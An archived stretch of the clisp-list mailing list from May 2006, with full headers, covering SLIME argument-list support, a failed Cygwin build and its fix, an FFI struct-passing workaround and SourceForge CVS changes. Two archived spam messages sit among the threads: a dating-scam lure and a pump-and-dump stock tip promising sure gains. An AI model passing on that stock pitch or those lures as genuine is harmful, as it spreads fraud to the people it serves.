Joerg-Cyril" Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: Argument names in SLIME function help In-Reply-To: References: X-Mailer: VM 7.17 under Emacs 22.0.50.1 Reply-To: Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en X-Spam-Checker-Version: SpamAssassin 3.0.1 (2004-10-22) on larissa.informatimago.com X-Spam-Status: No, score=-3.1 required=5.0 tests=ALL_TRUSTED,BAYES_00, UNWANTED_LANGUAGE_BODY autolearn=ham version=3.0.1 X-Spam-Level: X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue May 9 12:29:01 2006 X-Original-Date: Tue, 9 May 2006 21:28:12 +0200 Hoehle, Joerg-Cyril writes: > Pascal Bourguignon wrote: > >Here is a patch which keeps the argument lists and the documentation > >strings of the lisp function, saving them as two additionnal constants > >in the closure-consts list. > > That doesn't seem reasonable to me. Every closure object becomes > larger to setup while only a mere few of them will ever be looked > at. Having everybody pay the price for something that only few use > may be at the base of many ancient and contemporary society, but > that's not what I'd like to see in program code! AFAIK, the closure-consts list is not duplicated for all closures. It's a per-function list. Isn't it true? Each function has a lambda-list and possibly a documentation string. To me, it seems fair to let them bear their own weight. In any case, this is less than 2% of an image size. Now, if you could provide a pair of functions WILL-EVER-NEED-LAMBDA-LIST-ORACLE and WILL-EVER-NEED-DOCUMENTATION-STRING-ORACLE, I'd be happy to use them to avoid storing data that won't be needed. > SLIME is likely unable to provide the correct arglist for cases like this: > (defun foo ...) > (defun bar # > (flet ((foo ...)) > (foo > > Of course, there's no theoretical impossibility. It just requires > more than looking up FOO in the Lisp image: conservatively parse the > buffer, scan for lexical environments, beware of incomplete code. This is something else, a job for slime indeed. > My approach would have been to patch the DEFUN macro. Given the > context (arglist from SLIME), it can be argued that what you're > looking for is > function name -> arglist, not > -> arglist. (defparameter *funs* (list (lambda (x y) "A binary function" (+ x y)) (lambda (x y z) "A ternay function" (* x y z)))) (map nil (lambda (fun) (format t "Calling ~A --> ~A~%" (documentation fun 'function) (apply fun (mapcar (lambda (arg) (random)) (ext:arglist fun))))) *funs*) > Changing DEFUN, DEFMACRO and DEFGENERIC seems like the right place for this. > No need to bang the compiler. > > I'd save a canonicalized form of the arglist into the SYMBOL-PLIST. > An advantage of doing so over the "integrated into closure" approach > is that this works even when a function is temporarily redefined via > TRACE. > > And it should work for macros. The arglist for a macro is *not* > what you get from the closure in the SYMBOL-FUNCTION slot with your > patch. > > BTW, why do you care about the documentation? It's already there, e.g.: > :[2]> (documentation 'step 'function) > :"(STEP form), CLTL p. 441" > [One of my numerous TODO items is to provide a better docstring for STEP and TRACE] Inertia. This is a recent addition. I should indeed look at how documentation strings are kept. But anyways, it's not complete: [75]> (with-open-file (src "/tmp/doc-p.lisp" :direction :output :if-does-not-exist :create :if-exists :supersede) (print '(defparameter *f* (lambda (x) "A test function of one argument." (print x))) src)) (DEFPARAMETER *F* (LAMBDA (X) "A test function of one argument." (PRINT X))) [76]> (load(compile-file "/tmp/doc-p.lisp")) ;; Compiling file /tmp/doc-p.lisp ... ;; Wrote file /tmp/doc-p.fas 0 errors, 0 warnings ;; Loading file /tmp/doc-p.fas ... ;; Loaded file /tmp/doc-p.fas T [77]> (documentation *f* 'function) NIL However, one advantage of keeping them separated from the functions is that they can be easily purged. > >I hoped that my modifications would be saved to the .fasl file and > >loaded back, but no. I'll have to look at it more deeply. > > If you go the DEFUN macro expansion way, there should be no such surprises. > > How would you canonicalize the arglist? Keeping symbols makes the > containing package bloated with cruft and annoys me when using > APROPOS. Strings (names) is arguably all the human user needs to > see, but it would not feel Lispy. Uninterned symbols look weird > somewhat, ... On the contrary, it would be nice if APROPOS could list: [199]> (apropos :time) TIME argument to DECODE-UNIVERSAL-TIME TIME macro EXT:TIMES macro DECODE-UNIVERSAL-TIME function ... You could easily find all the functions applying to sequences or lists, or whatever argument name. -- __Pascal Bourguignon__ http://www.informatimago.com/ In a World without Walls and Fences, who needs Windows and Gates? From oboerrobcuis@expedia.com Tue May 09 23:52:25 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1FdiYb-0005Pz-3h; Tue, 09 May 2006 23:52:25 -0700 Received: from externalmx-1.sourceforge.net ([12.152.184.25]) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1FdiYa-0005iz-0a; Tue, 09 May 2006 23:52:25 -0700 Received: from ppp11-98.pppoe.mtu-net.ru ([81.195.11.98] helo=expedia.com) by externalmx-1.sourceforge.net with smtp (Exim 4.41) id 1FdiYY-0000yH-Qt; Tue, 09 May 2006 23:52:23 -0700 Message-ID: Reply-To: "Cory" From: "Cory" User-Agent: The Bat! (v1.52f) Business MIME-Version: 1.0 To: Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 8bit X-Spam-Score: 1.9 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 0.1 FORGED_RCVD_HELO Received: contains a forged HELO 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.1 RCVD_IN_SORBS_DUL RBL: SORBS: sent directly from dynamic IP address [81.195.11.98 listed in dnsbl.sorbs.net] 1.7 RCVD_IN_NJABL_DUL RBL: NJABL: dialup sender did non-local SMTP [81.195.11.98 listed in combined.njabl.org] X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO Subject: [clisp-list] is it you? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue May 9 23:53:08 2006 X-Original-Date: Wed, 10 May 2006 05:37:57 -0200 Hi, Hope I am not wbritbing to wrong address. I am anice, pretty looking girl. I am planning on visiting yourb town this month. Can we meet each other in persaon? Message me back at ublp@datetodayy.com From lisp-clisp-list@m.gmane.org Thu May 11 06:40:50 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1FeBPO-0004gI-Bq for clisp-list@lists.sourceforge.net; Thu, 11 May 2006 06:40:50 -0700 Received: from main.gmane.org ([80.91.229.2] helo=ciao.gmane.org) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1FeBPN-0002lO-TM for clisp-list@lists.sourceforge.net; Thu, 11 May 2006 06:40:50 -0700 Received: from root by ciao.gmane.org with local (Exim 4.43) id 1FeBOc-0002Ee-Mm for clisp-list@lists.sourceforge.net; Thu, 11 May 2006 15:40:03 +0200 Received: from demorgan.Informatik.Uni-Augsburg.DE ([137.250.73.222]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Thu, 11 May 2006 15:40:02 +0200 Received: from dimitrios.kapanikis by demorgan.Informatik.Uni-Augsburg.DE with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Thu, 11 May 2006 15:40:02 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net From: Dimitrios Kapanikis Lines: 45 Message-ID: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: main.gmane.org User-Agent: Loom/3.14 (http://gmane.org/) X-Loom-IP: 137.250.73.222 (Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.3) Gecko/20060426 Firefox/1.5.0.3) X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] compiling clisp2.35 with cygwin fails Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu May 11 06:41:10 2006 X-Original-Date: Thu, 11 May 2006 13:33:27 +0000 (UTC) Hi, I have some trouble to compile clisp2.35 in cygwin under Windows XP. The errors which appeared were all about if WIN32 is defined. Is there any option i need to give to configure or to make to recognize i am compiling under Cygwin? I tried ./configure CFLAGS=CYGWIN32 but configure stopped immediately. According to uname it is CYGWIN_NT-5.1 but there is no such entry in sourcecode AFAIK. I tried to remove or to undefine WIN32 by myself, but the compilation process stopped on the step making calls.o make[1]: Entering directory `/clisp-2.35/clisp-2.35/src/syscalls' /clisp-2.35/clisp-2.35/src/lisp.exe -M /clisp-2.35/clisp-2.35/src/lispinit.mem - B /clisp-2.35/clisp-2.35/src -N /clisp-2.35/clisp-2.35/src/locale -Efile UTF-8 - Eterminal UTF-8 -norc -q ../modprep.fas calls.c ;; MODPREP: "calls.c" --> #P"calls.m.c" ;; MODPREP: reading "calls.c": 131,835 bytes, 3,471 lines ;; MODPREP: 471 objects, 61 DEFUNs ;; packages: ("OS" "POSIX") MODPREP: wrote calls.m.c (423,084 bytes) gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -Wmissing-de clarations -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DNO_SIGSEG V -I. -I.. -c calls.m.c -o calls.o In file included from calls.c:20: ../clisp.h:589: warning: register used for two global register variables calls.c: In function `kwtopropid': calls.c:3260: error: `PID_CODEPAGE' undeclared (first use in this function) calls.c:3260: error: (Each undeclared identifier is reported only once calls.c:3260: error: for each function it appears in.) calls.c:3261: error: `PID_LOCALE' undeclared (first use in this function) make[1]: *** [calls.o] Error 1 make[1]: Leaving directory `/clisp-2.35/clisp-2.35/src/syscalls' make: *** [syscalls] Error 2 don't know what to change there to make it progress. But most important would be for me how to let configure/make whatever know that i am compiling under cygwin? any ideas? thank you, Dimitrios Kapanikis From sds@podval.org Thu May 11 07:00:10 2006 Received: from [10.3.1.93] (helo=sc8-sf-list1-new.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1FeBi6-0007Rc-Lz for clisp-list@lists.sourceforge.net; Thu, 11 May 2006 07:00:10 -0700 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1FeBi6-0004YJ-Ri for clisp-list@lists.sourceforge.net; Thu, 11 May 2006 07:00:10 -0700 Received: from rwcrmhc11.comcast.net ([216.148.227.151]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1FeBi5-0001Xp-Dn for clisp-list@lists.sourceforge.net; Thu, 11 May 2006 07:00:10 -0700 Received: from smtp.podval.org (k39.podval.org[24.60.134.201]) by comcast.net (rwcrmhc11) with ESMTP id <20060511135959m11009aes4e>; Thu, 11 May 2006 13:59:59 +0000 Received: from quant8.janestcapital.quant (unknown [209.213.205.130]) by smtp.podval.org (Postfix) with ESMTP id 321BB1284CB; Thu, 11 May 2006 10:00:03 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Dimitrios Kapanikis Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: (Dimitrios Kapanikis's message of "Thu, 11 May 2006 13:33:27 +0000 (UTC)") References: Mail-Followup-To: clisp-list@lists.sourceforge.net, Dimitrios Kapanikis Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.1 RCVD_IN_SORBS_DUL RBL: SORBS: sent directly from dynamic IP address [24.60.134.201 listed in dnsbl.sorbs.net] Subject: [clisp-list] Re: compiling clisp2.35 with cygwin fails Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu May 11 07:01:02 2006 X-Original-Date: Thu, 11 May 2006 09:59:58 -0400 > * Dimitrios Kapanikis [2006-05-11 13:33:27 +0000]: > > I have some trouble to compile clisp2.35 in cygwin under Windows XP. clisp 2.38 (the latest version) is distributed with cygwin. just install it using cygwin setup.exe > The errors which appeared were all about if WIN32 is defined. Is there > any option i need to give to configure or to make to recognize i am > compiling under Cygwin? I tried > > ./configure CFLAGS=CYGWIN32 try ./configure --build -- Sam Steingold (http://www.podval.org/~sds) on Fedora Core release 5 (Bordeaux) http://memri.org http://jihadwatch.org http://thereligionofpeace.com http://palestinefacts.org http://camera.org http://openvotingconsortium.org (lisp programmers do it better) From Bernard.Urban@meteo.fr Thu May 11 07:13:24 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1FeBut-0000iq-Ug for clisp-list@lists.sourceforge.net; Thu, 11 May 2006 07:13:23 -0700 Received: from cadillac.meteo.fr ([137.129.1.4]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1FeBus-0004VW-H4 for clisp-list@lists.sourceforge.net; Thu, 11 May 2006 07:13:23 -0700 Received: from localhost (cadillac.meteo.fr [127.0.0.1]) by cadillac.meteo.fr (Postfix) with ESMTP id C4A42D4539; Thu, 11 May 2006 14:13:14 +0000 (UTC) Received: from cadillac.meteo.fr ([127.0.0.1]) by localhost (amavisd.meteo.fr [127.0.0.1]) (amavisd-new, port 10023) with ESMTP id 05847-05; Thu, 11 May 2006 14:13:14 +0000 (UTC) Received: from MONTAILLOU (montaillou.dso.meteo.fr [137.129.94.172]) by cadillac.meteo.fr (Postfix) with ESMTP id 7C046D4104; Thu, 11 May 2006 14:13:14 +0000 (UTC) From: Bernard Urban To: Bruno Haible Cc: "Hoehle, Joerg-Cyril" , clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] clisp-2.38 on x86_64 and FFI: it fails References: <200604262023.21347.bruno@clisp.org> Gcc: nnml:mail.copie In-Reply-To: <200604262023.21347.bruno@clisp.org> (Bruno Haible's message of "Wed, 26 Apr 2006 20:23:21 +0200") Message-ID: User-Agent: Gnus/5.110004 (No Gnus v0.4) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Virus-Scanned: amavisd-new at meteo.fr X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu May 11 07:14:07 2006 X-Original-Date: Thu, 11 May 2006 16:13:18 +0200 Bruno Haible writes: > Joerg-Cyril Hoehle wrote: >> >Suggestions: Either write a wrapper around your function to pass or >> >return the structs by pointer. Or enhance clisp's foreign.d to >> >deal with this case automatically. >> I recall the problem: on x86_64 (Red Hat) with stock clisp-2.38, in the FFI, passing by value structs (containing doubles) to a C function fails. I finally wrote a wrapper to work with pointer on structs, and it works fine now. Regards. -- Bernard Urban From sds@podval.org Thu May 11 07:24:22 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1FeC5W-000292-2M for clisp-list@lists.sourceforge.net; Thu, 11 May 2006 07:24:22 -0700 Received: from rwcrmhc14.comcast.net ([204.127.192.84]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1FeC5T-0008IO-Jb for clisp-list@lists.sourceforge.net; Thu, 11 May 2006 07:24:22 -0700 Received: from smtp.podval.org (k39.podval.org[24.60.134.201]) by comcast.net (rwcrmhc14) with ESMTP id <20060511142413m1400kkbede>; Thu, 11 May 2006 14:24:13 +0000 Received: from quant8.janestcapital.quant (unknown [209.213.205.130]) by smtp.podval.org (Postfix) with ESMTP id D6D981284CB; Thu, 11 May 2006 10:24:16 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Bernard Urban Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: (Bernard Urban's message of "Thu, 11 May 2006 16:13:18 +0200") References: <200604262023.21347.bruno@clisp.org> Mail-Followup-To: clisp-list@lists.sourceforge.net, Bernard Urban Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.1 RCVD_IN_SORBS_DUL RBL: SORBS: sent directly from dynamic IP address [24.60.134.201 listed in dnsbl.sorbs.net] Subject: [clisp-list] Re: clisp-2.38 on x86_64 and FFI: it fails Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu May 11 07:25:07 2006 X-Original-Date: Thu, 11 May 2006 10:24:12 -0400 > * Bernard Urban [2006-05-11 16:13:18 +0200]: > > Bruno Haible writes: > >> Joerg-Cyril Hoehle wrote: >>> >Suggestions: Either write a wrapper around your function to pass or >>> >return the structs by pointer. Or enhance clisp's foreign.d to >>> >deal with this case automatically. >>> > > I recall the problem: on x86_64 (Red Hat) > with stock clisp-2.38, in the FFI, > passing by value structs (containing doubles) to a C function > fails. http://clisp.cons.org/impnotes/dffi.html#ffi-struct-arg do we need an FAQ entry on this too or it will be useless because no one reads FAQ anyway? -- Sam Steingold (http://www.podval.org/~sds) on Fedora Core release 5 (Bordeaux) http://openvotingconsortium.org http://dhimmi.com http://thereligionofpeace.com http://memri.org http://mideasttruth.com http://camera.org http://pmw.org.il Those who value Life above Freedom are destined to lose both. From Joerg-Cyril.Hoehle@t-systems.com Thu May 11 09:18:18 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1FeDrm-0000Bp-8D for clisp-list@lists.sourceforge.net; Thu, 11 May 2006 09:18:18 -0700 Received: from tcmail33.telekom.de ([217.6.95.240]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1FeDrk-0002s3-Ne for clisp-list@lists.sourceforge.net; Thu, 11 May 2006 09:18:18 -0700 Received: from s4de8psaans.mitte.t-com.de by tcmail31.dmz.telekom.de with ESMTP; Thu, 11 May 2006 18:18:07 +0200 Received: by S4DE8PSAANS.blf.telekom.de with Internet Mail Service (5.5.2653.19) id ; Thu, 11 May 2006 18:18:07 +0200 Message-Id: From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Cc: dimitrios.kapanikis@gmail.com Subject: [clisp-list] compiling clisp2.35 with cygwin fails MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu May 11 09:19:04 2006 X-Original-Date: Thu, 11 May 2006 18:18:00 +0200 Dimitrios Kapanikis wrote: >calls.c: In function `kwtopropid': >calls.c:3260: error: `PID_CODEPAGE' undeclared (first use in >this function) >calls.c:3260: error: (Each undeclared identifier is reported only once >calls.c:3260: error: for each function it appears in.) >calls.c:3261: error: `PID_LOCALE' undeclared (first use in >this function) >make[1]: *** [calls.o] Error 1 >make[1]: Leaving directory `/clisp-2.35/clisp-2.35/src/syscalls' >make: *** [syscalls] Error 2 Arseny Slobodyuk changed this in CVS just a couple of days ago. The patch is to replace these 2 PID_xyz with their literal values. Regards, Jorg Hohle. From hpkxeato98163@barronmall.com Thu May 11 21:43:30 2006 Received: from [10.3.1.93] (helo=sc8-sf-list1-new.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1FePUw-0005kE-IM for clisp-list@lists.sourceforge.net; Thu, 11 May 2006 21:43:30 -0700 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1FePUw-00061D-Lj for clisp-list@lists.sourceforge.net; Thu, 11 May 2006 21:43:30 -0700 Received: from [124.91.113.4] (helo=barronmall.com) by mail.sourceforge.net with smtp (Exim 4.44) id 1FePUv-0007Pp-D1 for clisp-list@lists.sourceforge.net; Thu, 11 May 2006 21:43:30 -0700 Received: from 124.91.113.4 by barronmall.com (Sendmail 8.7.5) with ESMTP (SSL) id IYT10122 for ; Fri, 12 May 2006 12:43:20 +0800 Message-ID: From: "onpyzw tkgngu" To: Content-return: allowed X-Mailer: fixatingMail 8.44 MIME-Version: 1.0 Content-Type: text/plain Content-Transfer-Encoding: 8bit X-IP: 124.91.113.4! X-Spam-Score: -2.0 (--) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.5 FROM_ENDS_IN_NUMS From: ends in numbers -2.8 ALL_TRUSTED Did not pass through any untrusted hosts 0.3 INVEST_WATCH_THIS BODY: Tells you to watch this stock. Subject: [clisp-list] specs for this week [NEWS ALERT NEW PICK friday it is] displeasing bricks gathers Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu May 11 21:44:11 2006 X-Original-Date: Fri, 12 May 2006 12:43:20 +0800 Infinex Ventures Inc. (INFX) Current Price: 0.79 The Rally has begun Watch this one like a hawk, this report is sent because the potential is incredible H U G E N E W S read below S T R O N G B U Y COMPANY OVERVIEW Aggressive and energetic, Infinex boasts a dynamic and diversified portfolio of operations across North America, with an eye on international expansion. Grounded in natural resource exploration, Inifinex also offers investors access to exciting new developments in the high-tech sector and the booming international real estate market. Our market based experience, tenacious research techniques, and razor sharp analytical skills allow us to leverage opportunities in emerging markets and developing technologies. Identifying these opportunities in the earliest stages allows us to accelerate business development and fully realize the company.s true potential. Maximizing overall profitability and in turn enhancing shareholder value. Current Press Release Infinex Announces Extension to Its Agreement in Chile LAS VEGAS, NV, May 9 /PRNewswire-FirstCall/ - Infinex Ventures Inc. (INFX:OB - News; "the Company") and its Board of Directors are pleased to announce that the Company has received an extension (90 days) to its Agreement for the due diligence period, in an effort to fully verify the offered title and all additional documentation, including but not limited to, Trial C-1912- 2001 at the 14th Civil Court of Santiago and Criminal Trial 1160-2002 at the 19th Court of Crime of Santiago of Chile, Ministry of Mines of Chile over its sole and exclusive right to acquire a 50% interest in the Tesoro 1-12 Mining Claims. Infinex Announces Joint Venture and Option Agreement Extension LAS VEGAS, May 5 /PRNewswire-FirstCall/ - Infinex Ventures Inc. (INFX:OB - "the Company") and its Board of Directors are please to announce that the Company has been granted an extension of 120 days to fulfill its contractual obligations under the Joint Venture and Option Agreement dated June 14, 2004 on the Texada Island "Yew Gr0up" Mining Claims: This is as sure as it gets, GET IN NOW Norway darning blackbody hypophyseal cachalot discriminates Formica Samoa bouts burlesques alligators Atwood fertilizing betrayer inconvertible Bernet butter minimum follows Gorham encyclopedia's intersected discriminates cannibalize chew burlesques influentially Pollux magicians diverting From Joerg-Cyril.Hoehle@t-systems.com Fri May 12 01:05:43 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1FeSed-0007lC-D3 for clisp-list@lists.sourceforge.net; Fri, 12 May 2006 01:05:43 -0700 Received: from tcmail33.telekom.de ([217.6.95.240]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1FeSec-0000ne-Uh for clisp-list@lists.sourceforge.net; Fri, 12 May 2006 01:05:43 -0700 Received: from s4de8psaans.mitte.t-com.de by tcmail31.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Fri, 12 May 2006 10:05:36 +0200 Received: by S4DE8PSAANS.blf.telekom.de with Internet Mail Service (5.5.2653.19) id ; Fri, 12 May 2006 10:05:36 +0200 Message-Id: From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] SourceForge.net: CVS service changes Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri May 12 01:09:14 2006 X-Original-Date: Fri, 12 May 2006 10:03:26 +0200 Dear clisp users, I've just been informed about the most recent changes about sourceforge. Here's a short summary: o CVS is moved to clisp.cvs.sourceforge.net It's already online at http://clisp.cvs.sourceforge.net/clisp/clisp/ o ViewCVS is gone, ViewVC is current o ViewVC reflects the most current tree (developer view), i.e. changes are immediately reflected o anonymous CVS lags behind by a couple of hours (as previously) o nightly tarball is gone, must use rsync instead As a consequence of the server name change, all users that checked out a CVS tree anywhere on sourceforge must check out again or perform some some magic to have their CVS tree point to the new location: PROJECT_UNIX_NAME.cvs.sourceforge.net Actually, I wonder how I'm going to do this without loosing the few changes that I currently have in my local copy. Is it a bad idea to merely change all **/CVS/Root files to point to the new host? o I've received no information about the former cvs-ssh.sourceforge.net or cvs-pserver.sourceforge.net service. It allowed users otherwise blocked by firewalls to access ssh on the HTTP or HTTPS port. However, clisp.cvs.sourceforge.net has sshd listening on the HTTPS port. So that's maybe how it's going to work in the future. Regards, Jorg Hohle. From dimitrios.kapanikis@gmail.com Fri May 12 06:30:49 2006 Received: from [10.3.1.93] (helo=sc8-sf-list1-new.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1FeXjF-0006ON-Cd for clisp-list@lists.sourceforge.net; Fri, 12 May 2006 06:30:49 -0700 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1FeXjF-0000YV-De for clisp-list@lists.sourceforge.net; Fri, 12 May 2006 06:30:49 -0700 Received: from nz-out-0102.google.com ([64.233.162.194]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1FeXjE-0006fQ-4D for clisp-list@lists.sourceforge.net; Fri, 12 May 2006 06:30:49 -0700 Received: by nz-out-0102.google.com with SMTP id i11so388678nzh for ; Fri, 12 May 2006 06:30:43 -0700 (PDT) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; 